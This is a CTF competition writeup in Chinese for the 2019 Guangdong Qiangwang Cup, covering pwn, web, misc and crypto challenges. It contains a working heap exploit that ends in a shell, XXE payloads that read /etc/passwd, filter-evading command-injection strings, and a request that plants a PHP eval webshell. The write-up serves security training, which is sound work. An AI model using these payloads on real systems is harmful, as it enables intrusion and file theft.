广东省第三届强网杯Writeup
2019-09-16 11:51:27 Author: mp.weixin.qq.com(查看原文) 阅读量:107 收藏

0X00  Pwn1

没有检查偏移，有数组越界

sleep有多线程竞争

解题思路

主要是利用多线程竞争时候的sleep(3)，run后把对应的堆块free掉之后，可以泄露地址。本地远程同时测试得到环境是libc2.27，用ubuntu18.04直接跑测试，然后通过填满tcache来泄露libc，然后通过run来修改fd为free_hook，然后再malloc两次，第二次写free_hook为system地址，再delete直接getshell。

from pwn import *context(os='linux',arch='amd64',aslr= 'False',log_level='debug')

local = 0if local == 1:p = process('./pwn1')elf = ELF('./pwn1')libc = elf.libc#p =process(['/lib64/ld-linux-x86-64.so.2', './pwn1', './libc.so.6'])else:p =remote("119.61.19.212",8087)elf = ELF('./pwn1')libc = ELF('./libc-2.27.so')

def add(index, content):#p.recvuntil('3.run\n')p.sendline('1')p.recvuntil('index:\n')p.sendline(str(index))p.recvuntil('content:\n')p.sendline(content)
def delete(index):p.recvuntil('3.run\n')p.sendline('2')p.recvuntil('index:\n')p.sendline(str(index))
def run(index, key):#p.recvuntil('3.run\n')p.sendline('3')p.recvuntil('index:\n')p.sendline(str(index))p.recvuntil('input key:')p.sendline(str(key))sleep(1)delete(str(index))

for i in xrange(8):add(i,'A\n')

for i in xrange(7):delete(6-i)

run(7,0)

p.recvuntil('3.run\n')leak = u64(p.recvn(6).ljust(8,'\0'))log.success('leak : ' +hex(leak))libc_address = leak - 0x3ebca0

system = libc_address +libc.symbols['system']free_hook = libc_address +libc.symbols['__free_hook']

log.success('system : ' +hex(system))log.success('free_hook : ' +hex(free_hook))

add(0,'A'*0x10)add(1,'A'*0x10)run(0,0)

p.recvuntil('3.run\n')heap_addr =u64(p.recvn(6).ljust(8, '\0')) - 0x160log.success('heap_addr : ' +hex(heap_addr))addr = heap_addr ^ free_hookrun(1,addr)p.recvuntil('3.run\n')addr2 =u64(p.recvn(6).ljust(8, '\0'))log.success('heap_addr2 : ' +hex(addr2))

add(2,'/bin/sh\x00')add(3,p64(system))



delete(2)p.interactive()


PWN是CTF赛事中主流题型，主要考察参赛选手的逆向分析能力以及漏洞挖掘与Exploit利用编写能力。相关PWN的学习可到合天网安实验室学习实验——CTF-PWN系列汇总，可扫描下方二维码预览学习。

0x01 Web

1. 小明又被拒绝了

修改XFF：127.0.0.1，admin=1

2. XX?

看到源码，以及题目意思，尝试使用XXE攻击

<?xml version="1.0"encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENTfoo ANY ><!ENTITY xxe SYSTEM"file:///etc/passwd" >]><creds><user>&xxe;</user><pass>mypass</pass></creds>

伪协议读取flag.php

<?xml version="1.0"encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENTfoo ANY ><!ENTITY xxe SYSTEM"php://filter/read=convert.base64-encode/resource=flag.php">]><creds><user>&xxe;</user><pass>mypass</pass></creds>

想了解php中的伪协议的应用及攻击手段研究，可到合天网安实验室学习实验——PHP安全特性之伪协议，可扫描下面二维码开始预览学习。

3. Ping一下

fuzz之后，可以发现|被过滤，可以使用;代替

发现cat，php会提示警告，使用\分割即可：

%3Bc\at%24%7BIFS%7Din\dex.p\hp，但是源码显示并不完全：

使用tail命令读取最后一行

%3Bta\il%24%7BIFS%7D-1%24%7BIFS%7D/fl\ag

4. PHP
<?phperror_reporting(E_ALL^E_NOTICE^E_WARNING);function GetYourFlag(){    echo file_get_contents("./flag.php");}
if(isset($_GET['code'])){    $code = $_GET['code'];    //print(strlen($code));    if(strlen($code)>27){         die("Too Long.");    }
    if(preg_match('/[a-zA-Z0-9_&^<>"\']+/',$_GET['code'])) {        die("Not Allowed.");    }    @eval($_GET['code']);}else{      highlight_file(__FILE__);}?>

采用取反的方式，最后url编码

def get(shell):hexbit=''.join(map(lambdax: hex(~(-(256-ord(x)))),shell))print(hexbit)

get('GetYourFlag')0xb80x9a0x8b0xa60x900x8a0x8d0xb90x930x9e0x980x换为%

5. API

需要我们post数据上去，试着post一下

发现json_decode，我们试着发送json格式过去

读到了源码：

<?phpif(isset($_POST['filename'])){$file=json_decode($_POST['filename'],true);if(json_last_error()){die("sorry,json_decodeerror!");}else{if(array_key_exists("file",$file)){if(stristr($file['file'],'f')){die('sorry!');}else{echofile_get_contents($file['file']);}}else{die('sorry,u cannotreadfile');}}



}else{echo "Post`filename`,and u give this api array,u can read file";}?>

扫描目录，发现存在信息泄露，恢复.DS_Store

尝试读取以上文件：

在这里卡了很久，一直绕不过，想到跳转目录读取

<?phprequire_once('hack.php');echo "Api!wow";functiondo_unserialize($value){     preg_match('/[oc]:\d+:/i', $value, $matches);      if (count($matches)){return false;}      returnunserialize($value);  }$x = new hack();if(isset($_GET['flag'])) $g =$_GET['flag'];if (!empty($g)) {  $x = do_unserialize($g);}echo $x->readfile();?>继续读hack.php<?php  class hack {    public $file;    function__construct($filename = '') {      $this -> file =$filename;    }



    function readfile() {      if (!empty($this->file)&& stripos($this->file,'..')===FALSE      &&stripos($this->file,'/')===FALSE &&stripos($this->file,'\\')==FALSE) {        return@file_get_contents($this->file);      }    }  }  //fffffaa_not.php?>

接着构造序列化来读取fffffaa_not.php，得绕过正则，通过+，得到

O:4:"hack":1:{s:4:"file";s:15:"fffffaa_not.php";}，urldecode后得到:O%3A%2b4%3A%22hack%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A15%3A%22fffffaa_not.php%22%3B%7D

读到源码：

<?php$text =$_GET['jhh08881111jn'];$filename = $_GET['file_na'];if(preg_match('[<>?]',$text)) {die('error!');}if(is_numeric($filename)){$path="/var/www/html/uploads/".$filename.".php";}else{die('error');}file_put_contents($path,$text);?>

使用数组绕过正则，写入一个shell：

http://119.61.19.212:8086/fffffaa_not.php?jhh08881111jn[]=<?php@eval($_POST["star"]);?>&file_na=1

0x02 Misc

XCTFMisc实战学习可扫描下方二维码学习

1. 完美的错误

base58，参考：

https://xz.aliyun.com/t/2255

根据题目意思，位置被换了，试出来数字是放在后边的，解密脚本：

# __b58chars ='123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'__b58chars ='ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz123456789'__b58base = len(__b58chars)

def b58encode(v):""" encodev, which is a string of bytes, to base58."""

long_value =int(v.encode("hex_codec"), 16)

result = ''while long_value >=__b58base:div, mod =divmod(long_value, __b58base)result =__b58chars[mod] + resultlong_value = divresult =__b58chars[long_value] + result

# Bitcoin does a littleleading-zero-compression:# leading 0-bytes in theinput become leading-1snPad = 0for c in v:if c == '\0':nPad += 1else:break

return (__b58chars[0] *nPad) + result

def b58decode(v):""" decodev into a string of len bytes"""

long_value = 0Lfor (i, c) inenumerate(v[::-1]):long_value +=__b58chars.find(c) * (__b58base ** i)

result = ''while long_value >=256:div, mod =divmod(long_value, 256)result = chr(mod) +resultlong_value = divresult = chr(long_value) +result

nPad = 0for c in v:if c == __b58chars[0]:nPad += 1else:break

result = chr(0) * nPad +resultreturn result

if __name__ == "__main__":# print  b58encode("helloworld")print b58decode("RJv9mjS1bM9MZafGV77uTyDaapNLSk6t358j2Mdf1pbCByjEiVpX")

2. 撸啊撸

这道题就是提出来的头改一下就行了。

关于magicheader怎么找：

http://turingh.github.io/2016/03/07/mach-o%E6%96%87%E4%BB%B6%E6%A0%BC%E5%BC%8F%E5%88%86%E6%9E%90/

首先是从stringsjpg里看到了__mh_execute_header、/usr/lib/libSystem.B.dylib这些都是macho的可执行文件格式，然后就去修复它的头，有两种：`0xfeedface`跟`0xfeedfacf`，分别用大小端的方式改了放进ida里看看，然后就是`0xcffaedfe`是对的，其实也可以从后面的`0x07000001`是反的看出来。

修复后看就很简单了，都亦或下1就行了：

3. 脑筋急转弯

参考这篇文章，边学边做的：

https://www.sqlsec.com/2018/01/ctfwav.html

对音频进行分析，提取出一个zip包：

查看内容，发现许多012数字，尝试3进制转化，发现大于128，换思路，之前遇到过类似的题目，寻找能等价代替012字符的数字，想到了shortOok，只有.！？，尝试替换，在线网站：

https://www.splitbrain.org/services/ook

尝试加密一下”flag“，得到，发现大多数为点（.），推测为0，！和？，也尝试一下

尝试0=>. 1=>?  2=>!，发现解密失败

最后得到0=>. 1=>！2=>?

brainfuck解密得到flag：

隐写（Stegano）与取证分析（Forensics）是CTF竞赛中的主要题型之一，主要考查参赛选手的对各种隐写工具、隐写算法以及取证分析流程的熟悉程度，相关的练习可到合天网安实验室学习——CTF-STEGO练习，扫描下方二维码，或点击文末“阅读原文”可开始预览学习。

0x04 Crypto

1. 美好的回忆

类似于CBC加密模式，我们知道部分明文，密文，我们可以将第一块密文，第二块密文和第二块明文异或得到key，然后使用key和某块密文以及前一块密文做异或得到该块明文，代码如下

def xor(data,key): return bytes([x ^key[i%len(key)] for i, x in enumerate(data)])withopen('flag.txt.encrypted', 'rb') as f: s=f.read()BLOCK_SIZE=8s1="have a goodtime".encode()c1=s[:8]c2=s[8:16]c3=s[16:24]print(c1)key=xor(xor(c1,s1[8:]),c2)print(key)m1=xor(xor(c2,key),c3)sssssss=""print(len(s))for i in range(8,len(s)-8,8): m1=xor(xor(s[i:i+8],key),s[i+8:i+16]) sssssss=sssssss+m1.decode('utf-8') print(sssssss)
2. 悲伤的结局

和上一题类似，同样类似于CBC加密模式，但我们知道的是结尾的明文，由于结尾存在填充，我们无法确定那一段明文是一块，尝试验证我们发现填充为4，同时的到key，代码如下

def xor(data,key): return bytes([x ^key[i%len(key)] for i, x in enumerate(data)])withopen('flag.txt.encrypted', 'rb') as f: s=f.read()BLOCK_SIZE=8s1="keep away fromxiaocui!".encode()c1=s[-16:-8]c2=s[-24:-16]c3=s[-32:-24]key=[]for i in range(8): m1=s1[i+8:i+16] key.append((xor(xor(c1,m1),c2)))for i in key: print(xor(xor(c2,i),c3))

根据填充和key，按照上一题的方法我们即可解出明文

def xor(data,key): return bytes([x ^key[i%len(key)] for i, x in enumerate(data)])withopen('flag.txt.encrypted', 'rb') as f: s=f.read()BLOCK_SIZE=8s1="keep away fromxiaocui!".encode()c1=s[-16:-8]c2=s[-24:-16]m1=s1[4+8:4+16]key=(xor(xor(c1,m1),c2))c3=s[-32:-24]mm=xor(xor(c2,key),c3)print(mm)i=-16while i>-200: c2=s[i-8:i] c3=s[i-16:i-8] mm=xor(xor(c2,key),c3) print(mm) i=i-8
3. RSA

这道题应该是RSA私钥恢复，javarsoj上有道很类似的。

看别人写过的wp。直接上是不行的，又几个点不一样，参考链接https://www.40huo.cn/blog/rsa-private-key-recovery-and-oaep.html中的代码，将题目中的数据填入，但我们发现题目中的n结尾不全，由于(a*2^n+b)*(c*2^m+d)=a*c*2^m*2^n+a*d*2^n+c*b*2^m+b*d，所以n的结尾为p*q的结尾“b7"，将b7补入，代码如下

#!/usr/bin/python#-*- coding:utf-8 -*-

import reimport picklefrom itertools import productfrom libnum import invmod, gcd



def solve_linear(a, b, mod):if a & 1 == 0 or b &1 == 0:return Nonereturn (b * invmod(a,mod)) & (mod - 1)  # hack for mod = power of 2



def to_n(s):s = re.sub(r"[^0-9a-f]","", s)return int(s, 16)



def msk(s):cleaned ="".join(map(lambda x: x[-2:], s.split(":")))returnmsk_ranges(cleaned), msk_mask(cleaned), msk_val(cleaned)



def msk_ranges(s):return [range(16) if c ==" " else [int(c, 16)] for c in s]



def msk_mask(s):return int("".join("0"if c == " " else "f" for c in s), 16)



def msk_val(s):return int("".join("0"if c == " " else c for c in s), 16)



E = 65537

N =to_n("""00:c4:9d:36:a4:77:76:12:12:85:24:6c:74:1d:7d:b3:ce:f4:c3:a4:69:cd:0b:2e:8f:d6:75:e3:80:b8:e8:1c:ce:e8:60:90:45:56:73:ab:32:32:00:7f:6a:76:3e:b6:10:d3:a2:74:da:f9:4e:a5:7e:ae:ef:f4:da:82:57:6d:68:82:50:d8:b1:fc:92:b1:5c:7d:54:f5:7e:d0:06:8a:60:ff:82:70:72:20:68:4b:71:ba:87:44:57:c1:97:a0:8a:2d:53:93:f3:0a:60:87:a3:85:c8:45:e6:0a:88:85:b5:ff:c7:09:9a:76:03:fe:99:b6:fb:8a:1e:9f:a8:42:3a:0a:c9:a9:bf:1c:87:2c:c4:99:10:db:46:e3:a9:a5:79:93:8c:75:71:ec:c6:3b:af:44:dc:60:c4:53:f6:3c:e8:73:2f:50:10:38:e7:6f:d0:a5:4b:ae:e3:1e:43:11:42:2c:a2:38:e6:3f:0b:13:54:63:e8:2f:9e:61:ab:08:65:97:e0:27:30:19:fd:a7:fe:5c:d8:11:b8:34:87:ad:02:c2:bc:cd:73:d3:86:be:fd:2a:b4:fe:7d:7e:d3:64:bb:6f:63:ed:a6:1d:ee:f2:80:da:9d:7a:23:7f:c1:39:b0:98:0c:85:8f:d0:4b:9f:e4:1a:26:fc:44:d1:67:03:32:03:0c:91:61:23:4c:81:6f:42:18:88:41:dc:27:55:a3:07:7c:a1:ad:f3:58:4d:91:07:65:f1:63:f2:34:d5:17:0e:59:c6:bb:b6:6d:7d:0c:d2:64:4b:b9:9c:52:59:03:8e:2a:43:23:76:33:c3:e8:72:3b:1c:e0:40:97:36:5f:ae:00:d7:e3:09:eb:df:55:44:22:b4:09:00:b5:09:41:70:6c:5c:3b:98:d3:34:7e:60:a2:b8:93:bd:af:32:77:48:48:8a:a5:9c:0e:6a:a1:79:36:86:8c:e9:3f:b1:a2:a7:4a:3a:d8:d6:f6:dd:62:d8:ae:9e:13:bb:0c:6b:b1:65:68:0d:7e:58:3f:68:1e:91:49:13:19:68:2b:fd:3c:5e:52:fa:76:b0:57:fc:0e:35:d8:71:56:41:06:ef:50:99:56:dd:d4:9a:1f:d3:46:26:12:9c:15:4b:43:fc:1b:de:c9:06:ad:82:56:63:c8:a4:83:32:d2:35:05:23:15:52:d9:0a:73:85:5e:c9:c2:56:af:69:d2:5f:77:04:28:c8:4c:b9:a6:d4:15:15:b5:15:99:13:ef:a9:a5:de:5a:74:b1:03:cf:32:a5:03:69:f8:e9:bb:7e:16:31:5e:43:e7:02:51:ac:c5:f6:bf:ef:1c:74:f7:13:0c:19:ad:b7""")

p_ranges, pmask_msk, pmask_val= msk("""00:  :05:89:  :bd:35:  :  :23:  :  :  :  :84::  :ed:  :70:14:  :  : :10:  :  :87:  :51:ea:  :97:69:  :52:  :  : :  :  :ea:  :  :15::  :34:  :be:11:23:  : :34:14:  :94:  :10:: :74:87:37:ee:81:62:ee:95:  :  :dc:49:dd::  :35:  :81:  :fa:  : :  :86:  :  :  :fb::93:  :  :12:  :14: :ab:76:  :96:  :  :27::21:  :04:01:41:  :98: :ff:  :  :12:dc:  :cd:  :39:95:30:  :47: :fa:ff:  :34:  :ad:  ::52:02:fa:bc:14:22:22:48:61:62:bd:53: :  :72:08:cb:41:88:  :  : :63:91:30:fe:  :  :42:87:  :18:52:  :39:dd: :68:  :fe:06:88:81:  ::  :  :ae:fd:  : :fb:21:37:59:  :53:  :fa::07:40:eb:33:77:51:64:10:dd: :73:  :86:62::bf:  :79:  :34:  :bb: :44:ff:  :46:fe:90:ef:  :52:ad:  :  :fe: :69:18:89:bd:cd:09:46::  :74:71:  :  : :41:66:  :  :11:  :25:  :39:8b""")

q_ranges, qmask_msk, qmask_val= msk(""" 00:ce:43:ef:  :76:58:17:43:31:  :  :32:70: :89:  :  :36:55:06: :79:66:78:  :  :  :  :  ::85:  :  :  :  : :33:bb:  :  :56:  :66:cb::08:  :  :90:cb:  : :24:fa:ca:47:  :  :  ::88:  :83:01:  :62:  : :  :  :  :  :ad:ae::  :  :58:  :ec:  :  : :09:04:86:  :05:00::df:50:84:81:80:  :ae: :24:  :94:da:  :04:ce:  :ef:  : :ed:be:bf:43:78:  :  :05:93:  :08:52:05:  :  :  :  :ae: :  :  :  :ab:  :  ::76:ce:  :  :  : :19:bd:22:  :ef:dc:bf:ea:ab:78:01:  :  :85:  :  : :ea:  :  :fb:  :  :92:66:19:  :  :ab:  : :82:  :  :31:  :  :da:82:  :13:82:43:  : :94:13:41:  :  :  :37:  ::04:56:02:87:dd: :58:27:  :  :24:  :  :  :28:  :  :09:14:89:  :  : :49:59:  :16:eb:65::01:22:  :  :dd:  :78: :  :db:90:  :ac:  ::fd:  :03:74:  :  :  : :92:  :00:ba:  :  ::05""")

_, dmask_msk, dmask_val =msk("""11:  :  :69:62:64:  :  :  :  :15:  :13:de:de:cf:  :  :17:  :  :75: :98:42:fc:  :12:15:08::  :  :  :  :36: :be:25:48:  :  :19:  :  ::47:11:19:  :03: :49:fc:da:  :96:45:eb:  ::  :  :91:  :ea:  : :55:ff:  :37:58:  :  :19:  :  :73:40: :91:15:01:da:91:22:fd:32:  ::  :50:  :  :66:  :  : :42:  :  :ef:  :  :df:42:  :97:30:  :39:  : :  :  :  :  :dc:  ::  :  :  :  :38:  :  : :88:28:  :05:  :  :78:59:fa:  :86:  :19:24: :  :  :  :da:cf:15:39:  :  :  :  :ef:55: :ce:47:  :58:89:  :fb::24:  :  :  :92:  : :ee:  :  :db:67:31:ce::28:  :72:ec:89:  :04: :  :50:  :  :  :  ::37:  :44:  :  :  : :56:  :38:  :bb:47:bb:66:83:99:22:07:72:  : :48:52:02:  :  :  :29::82:56:  :67:  :95:  : :56:94:  :  :71:  :bf:27:98:  : :54:98:26:06:87:  :ae:  :53:be:: :80:37:60:61:ea:ef:de:  :  :df:90:81:  :70:  :06:33:26: :75:fe:95:  :92:  :78:cd:05:64:cc:68:  :  :36:54: :bd:16:90:ee:60:  :  ::  :41:  :  :91: :79:58:06:50:  :46:  :  :45:  :09:ca:ac:16: :27:98:  :  :ba:82:  :77:93:98:ad:  :15: :67:53:97:ad:ee:50:44:  :31:07:  :ff:01:  :09:  :  : :  :  :46:  :  :42:15:  :db:df:42:be:  :  : :78:  :41:  :  :  ::14:  :  :25:fc:  :84: :  :  :  :  :  :20:da:46:01:eb:87:  :12:57: :  :56:af:  :87:93:60:  :02: :18:89:63:72:ad:  :ed:cf:  :  :84::22:  :13:  :  :dd: :ff:  :  :  :de:62:37::19:66:  :  :86:02: :38:  :  :  :  :ec:14:12:  :43:93:19:65:98:  : :03:  :  :  :ef:  ::  :ca:07:92:22:  : :bb:15:eb:  :  :  :35::72:29:cd:  :  :99:  : :  :  :41:06:  :  ::43:33:  :32:  : :54:be:92:62:  :78:59:42:79:89""")

_, dpmask_msk, dpmask_val =msk("""  :39:  :28:16:02:89:ce:11:fe:  :  :  :  :af::  :  :ed:97:  : :11:20:ba:ae:98:ad:  :  ::10:87:ac:07:  :  :  : :50:  :  :70:50:52:df:89:eb:02:  :  :  : :93:11:  :  :12:  :56::08:  :  :ea: :10:fa:19:  :  :  :54:45:07::  :bc:ff:33: :db:63:49:fe:52:  :33:  :  :bf:cd:45:91:  :10:  : :92:81:40:03:  :80:  :29:  :30:  :ed:43:64:ca: :bf:64:  :  :bf:  ::  :  :24:72:84:  : :ff:  :  :24:  :81:27:db:23:  :64:  :67:  :ba: :  :bc:  :  :  :  ::ae:88:  :  :  :  : :91:  :  :14:  :ba:ef::89:  :  :  :  :  :  : :  :05:  :75:52:  ::  :  :be:ad:df: :02:88:00:  :  :15:45:  :cf:32:  :ca:  :93:  :32: :40:  :27:dd:  :19:73:dc:  :  :  :  :  :cf: :  :dd:  :  :ca:  :ee:  :ca:  :  :  :49: :27:  :58:53:  :64:25::22:06:16:ff:62:bc:  : :  :  :24:fc:  :  :df""")

_, dqmask_msk, dqmask_val =msk("""02:  :bd:  :19:25:98:75:  :65:  :55:28:33:bc:34:84:91:01:96:  :  :08: :32:45:  :27:  :  ::fe:  :bb:63:32:68: :51:bd:75:40:  :52:52::  :  :78:85:fc:94: :07:  :14:  :  :  :  :15:dd:  :  :93:  :01:  : :77:ca:  :40:  :da::89:bc:87:62:dc:ac:61:88: :  :70:  :69:  ::36:  :  :21:08: :dc:73:  :ad:da:ee:fe:  :96:  :58:  :  :46: :29:ff:97:ce:  :  :  :cb:51:  :  :81:  :22:  : :19:  :10:69:41:36:ca::22:49:  :cc:cf:06:  : :08:  :76:  :  :45:98:  :  :45:  :  : :69:13:65:  :  :da:54:  :19:  :ee:24:  :73:  :  : :  :  :  :18:53:40:21:25:  :  :84:52:cd: :49:33:78:  :  :ed:  :25:27:  :  :  :ca:  :  : :ca:  :  :bc:  :02:31:70:  :10:ca:84:59:  : :  :52:  :27:76:  :47:  :66:bf:ff:  :03: :99:ff:  :df:  :  :  ::46:27:45:  :65:07: :48:da:dc:  :80:  :  :f9""")



def search(K, Kp, Kq,check_level, break_step):max_step = 0cands = [0]for step in range(1,break_step + 1):#print " ",step, "( max =", max_step, ")"max_step = max(step,max_step)

mod = 1 << (4 *step)mask = mod - 1

cands_next = []for p, new_digit inproduct(cands, p_ranges[-step]):pval = (new_digit<< ((step - 1) * 4)) | p

if check_level >=1:qval =solve_linear(pval, N & mask, mod)if qval isNone or not check_val(qval, mask, qmask_msk, qmask_val):continue

if check_level >=2:val =solve_linear(E, 1 + K * (N - pval - qval + 1), mod)if val is Noneor not check_val(val, mask, dmask_msk, dmask_val):continue

if check_level >=3:val =solve_linear(E, 1 + Kp * (pval - 1), mod)if val is Noneor not check_val(val, mask, dpmask_msk, dpmask_val):continue

if check_level >=4:val =solve_linear(E, 1 + Kq * (qval - 1), mod)if val is Noneor not check_val(val, mask, dqmask_msk, dqmask_val):continue

if pval * qval== N:print "Kq=", Kqprint"pwned"print "p=", pvalprint "q=", qvalp = pvalq = qvald =invmod(E, (p - 1) * (q - 1))coef =invmod(p, q)

fromCrypto.PublicKey import RSAprintRSA.construct(map(long, (N, E, d, p, q, coef))).exportKey()quit()

cands_next.append(pval)

if not cands_next:return Falsecands = cands_nextreturn True





def check_val(val, mask,mask_msk, mask_val):test_mask = mask_msk &masktest_val = mask_val &maskreturn val & test_mask== test_val



# K = 4695# Kp = 15700# Kq = 5155

for K in range(1, E):if K % 100 == 0:print "checking",Kif search(K, 0, 0,check_level=2, break_step=20):print "K =",Kbreak

for Kp in range(1, E):if Kp % 1000 == 0:print "checking",Kpif search(K, Kp, 0,check_level=3, break_step=30):print "Kp =",Kpbreak

for Kq in range(1, E):if Kq % 100 == 0:print "checking",Kqif search(K, Kp, Kq,check_level=4, break_step=9999):print "Kq =",Kqbreak

运行程序得到p,q为

p =30804877236372761296348297513767908130120426767441642194038947059431749919743933282721728129660558520306627781991434638545287122418576024822599938752655436891429241798416041881441469038271460545196755187872022209260074336340748692939443634393492611052850561312058115000234467417922716845989845380178291512893577636848676778152648705150749219629638913963012345388388992649857974643758097581431795569765569985118215469798809551704275008726932734117893757436777110974529289423114881289423038562352073193732977840168067817149865622380253870276206212656648830136975036452877460473463818007722056777837507566352911184181643q =26038591288856688238001759665609016744197175469090080494077820415283745172609947555684568450035539489682168553390403854805974969118763740560638548072896648612347287461822059996717273680094814363090434263883250281614203478279438635312321752371517752177819983938115532573238089291708699056464231184039223531822571471611431921747169774540943776543504663419138030516108434288911593973010680364553026970545232818747951718950151516127319881685156986937644295056292836729469548074713781625918117631575942194589642230959265894967721587381648790905383499092379075578245308113268969812469233669312409066969648987454629639842309

我们已有密文，RSA的n,e=65537,p,q，按照RSA解密方法求解即可

import gmpy2def shuchu(mingwenstr):    ifmingwenstr[len(mingwenstr)-1]=='L':       mingwenstr=mingwenstr[2:len(mingwenstr)-1]    else:       mingwenstr=mingwenstr[2:len(mingwenstr)]    if notlen(mingwenstr)%2==0:           mingwenstr='0'+mingwenstr    i=len(mingwenstr)    mingwen=""    while i>=1:        str1=mingwenstr[i-2:i]        ifint(str1,16)>33 and int(str1,16)<126:           mingwen=chr(int(str1,16))+mingwen        else:           mingwen=" "+mingwen        i=i-2    printmingwenp =30804877236372761296348297513767908130120426767441642194038947059431749919743933282721728129660558520306627781991434638545287122418576024822599938752655436891429241798416041881441469038271460545196755187872022209260074336340748692939443634393492611052850561312058115000234467417922716845989845380178291512893577636848676778152648705150749219629638913963012345388388992649857974643758097581431795569765569985118215469798809551704275008726932734117893757436777110974529289423114881289423038562352073193732977840168067817149865622380253870276206212656648830136975036452877460473463818007722056777837507566352911184181643q =26038591288856688238001759665609016744197175469090080494077820415283745172609947555684568450035539489682168553390403854805974969118763740560638548072896648612347287461822059996717273680094814363090434263883250281614203478279438635312321752371517752177819983938115532573238089291708699056464231184039223531822571471611431921747169774540943776543504663419138030516108434288911593973010680364553026970545232818747951718950151516127319881685156986937644295056292836729469548074713781625918117631575942194589642230959265894967721587381648790905383499092379075578245308113268969812469233669312409066969648987454629639842309n=0xc49d36a47776121285246c741d7db3cef4c3a469cd0b2e8fd675e380b8e81ccee86090455673ab3232007f6a763eb610d3a274daf94ea57eaeeff4da82576d688250d8b1fc92b15c7d54f57ed0068a60ff82707220684b71ba874457c197a08a2d5393f30a6087a385c845e60a8885b5ffc7099a7603fe99b6fb8a1e9fa8423a0ac9a9bf1c872cc49910db46e3a9a579938c7571ecc63baf44dc60c453f63ce8732f501038e76fd0a54baee31e4311422ca238e63f0b135463e82f9e61ab086597e0273019fda7fe5cd811b83487ad02c2bccd73d386befd2ab4fe7d7ed364bb6f63eda61deef280da9d7a237fc139b0980c858fd04b9fe41a26fc44d1670332030c9161234c816f42188841dc2755a3077ca1adf3584d910765f163f234d5170e59c6bbb66d7d0cd2644bb99c5259038e2a43237633c3e8723b1ce04097365fae00d7e309ebdf554422b40900b50941706c5c3b98d3347e60a2b893bdaf327748488aa59c0e6aa17936868ce93fb1a2a74a3ad8d6f6dd62d8ae9e13bb0c6bb165680d7e583f681e91491319682bfd3c5e52fa76b057fc0e35d871564106ef509956ddd49a1fd34626129c154b43fc1bdec906ad825663c8a48332d23505231552d90a73855ec9c256af69d25f770428c84cb9a6d41515b5159913efa9a5de5a74b103cf32a50369f8e9bb7e16315e43e70251acc5f6bfef1c74f7130c19adb7assert n==p*qe=65537fi=open("flag.txt.en","rb")miwen=fi.read()fi.close()miwenhex=miwen.encode("hex")miwenint=int(miwenhex,16)d=gmpy2.invert(e,(p-1)*(q-1))mingwen=pow(miwenint,d,n)print len(hex(mingwen)[2:])print shuchu(hex(mingwen))
4. 老王的秘密
>>> fromsecretsharing import PlaintextToHexSecretSharer>>>flags=['1-fddc7d57594928fb74a507ab9cba0b28b92bb6e7b36a9925a105eeddac020e64','3-84f82314003c9690eeacd823b22680ccbe93ac098cabdd0a992c095dde0031cf','5-b0e2e8d2cadc91f8f2f357a42e26aeabaccbfa7731437298ca23d8a4a5424ce4','7-810e7545213971a3c7c2dce3d0998764d0bc1e3b866b15ad0deebaa7abcf64c5','9-b4da0bd03394e4bdfef92f16365e8811d9614f11b99111bcf8a4e68ba79626a2','b-661069e7d491719759a3199be1f65ffb6db92d1b014abb4e33ca7e32f85ee276','d-1f84ab9b467a4ec4de4451ed187987785b567bbdde0126d0722e3335a5307d68','f-9001dc36dd28c5c5dd7333968e7263986f55dd79cd9be286d21f45e46f53c399']>>>PlaintextToHexSecretSharer.recover_secret(flags[0:8])'f1ag{25019971af01d63d4ea8ad95da516}'>>>

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